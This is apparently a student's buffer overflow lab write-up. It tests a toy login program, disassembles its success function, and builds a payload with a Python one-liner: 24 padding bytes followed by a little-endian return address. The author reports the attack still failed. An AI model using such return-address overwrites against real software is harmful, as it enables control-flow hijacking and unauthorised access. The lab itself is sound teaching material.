

Buffer Overflow Exploit Lab

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1. Test the code with random password, gives the wrong password message correctly

```
tailangcao@TailangdeMacBook-Pro Lab % ./login
enter your password:
wrong password
exiting in main
```

2. Test the code with the correct password, logged in successfully

```
tailangcao@TailangdeMacBook-Pro Lab % echo -n "superSecretPassword" > password.txt
tailangcao@TailangdeMacBook-Pro Lab % ./login
enter your password:
successful login!
```

3. View the assembly code with `otool -tV login`

```
_success:
0000000100003c6c      sub     sp, sp, #0x30
0000000100003c70      stp     x29, x30, [sp, #0x20]
0000000100003c74      adrp    x8, 5 ; 0x100008000
0000000100003c78      str     x8, [sp]
0000000100003c7c      ldr     x8, [x8]
0000000100003c80      add     x9, sp, #0x10
0000000100003c84      str     x9, [sp, #0x8]
0000000100003c88      str     x8, [sp, #0x10]
0000000100003c8c      str     xzr, [sp, #0x18]
0000000100003c90      adrp    x0, 0 ; 0x100003000
0000000100003c94      add     x0, x0, #0xe26 ; literal pool for: "successful login!\n"
0000000100003c98      bl      0x100003da0 ; symbol stub for: _puts
0000000100003c9c      ldr     x8, [sp]
0000000100003ca0      ldr     x1, [sp, #0x8]
0000000100003ca4      ldr     x0, [x8]
0000000100003ca8      adrp    x8, 1 ; 0x100004000
0000000100003cac      ldr     x8, [x8] ; literal pool symbol address: _environ
0000000100003cb0      ldr     x2, [x8]
0000000100003cb4      bl      0x100003dc4 ; symbol stub for: _execve
0000000100003cb8      ldp     x29, x30, [sp, #0x20]
0000000100003cbc      add     sp, sp, #0x30
0000000100003cc0      ret
```

4. The success function starts from address 0000000100003c6c
5. To make the attack successful, we should be able to make the function return to the success function instead of the main function by making the password the success address.
6. Write the password in little indian way hence backwards:

```
% python3 -c 'import sys; sys.stdout.buffer.write(b"a"*24 +
b"\x6c\x3c\x00\x00\x01\x00\x00\x00")' > password.txt
```

7. After multiple attempts the attack still wouldn't work and the login function would still return in main. My guess is the address is incorrect or the way I write it in the password.txt cant direct it to success function.